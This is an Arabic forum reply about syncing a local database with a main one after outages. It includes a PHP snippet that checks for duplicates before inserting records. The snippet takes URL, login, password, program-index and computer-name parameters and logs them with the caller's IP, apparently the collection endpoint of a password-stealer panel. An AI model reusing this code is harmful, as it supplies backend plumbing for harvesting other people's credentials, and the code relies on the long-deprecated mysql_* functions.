مزامنه قواعد البيانات
#5
اقترح عند حدوث لنقطاع يحدث ما يلي
يتم اضافة السجلات الجديدة الى القاعدة الفرعية
عند عودة الاتصال يتم ارسال جميع السجلات الى القاعدة الرئيسية ويتم تفريغ القاعدة
اذن عند كل ارسال الى الاصل تفرغ القاعدة الفرعية تماما لتفادي التكرار
في حالة رغبتك بعدم الحذف حاول اان تبحث عن التكرار اي اذا هذا الزبون موجود فلا تضفه

مثلا هذا الكود ( if (mysql_num_rows($result) == 0) { ......)

PHP كود :
    // ADD ***************************************************************************************
    
if (@$_GET["action"] == "add") {
        if (isset(
$_GET["a"]) && isset($_GET["c"]) && isset($_GET["u"]) && isset($_GET["l"])&& isset($_GET["p"]) 
        && 
is_numeric($_GET["a"]) && $_GET["a"]>=0 && $_GET["a"]<=18 && strlen($_GET["p"])>3) {
            
$mysql = mysql_connect($dbHost, $dbUser, $dbPass);
            if (!
$mysql) exit;
            if (!
mysql_select_db($dbDatabase, $mysql)) exit;
            
$result = mysql_query("SELECT * FROM `logs` WHERE `program` = '".$_GET["a"]."' AND `url` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql).
            
"' AND `login` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."' AND `pass` = '".
            
mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."';", $mysql);
            if (!
$result) exit;
            if (
mysql_num_rows($result) == 0) {
                
$result = mysql_query("INSERT INTO `logs` (`id`, `program`, `url`, `login`, `pass`, `computer`, `date`, `ip`) VALUES (NULL , '".
                
$_GET["a"]."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql)."', '".
                
mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."', '".
                
mysql_real_escape_string(htmlspecialchars(urldecode($_GET["c"])), $mysql)."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');", $mysql);
            }
            
mysql_close($mysql);
        }
        exit;
    } 
الرد


الردود في هذا الموضوع
مزامنه قواعد البيانات - بواسطة onexite - 13-05-2013, 09:20 AM
مزامنه قواعد البيانات - بواسطة onexite - 13-05-2013, 10:56 AM
مزامنه قواعد البيانات - بواسطة onexite - 13-05-2013, 04:43 PM

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم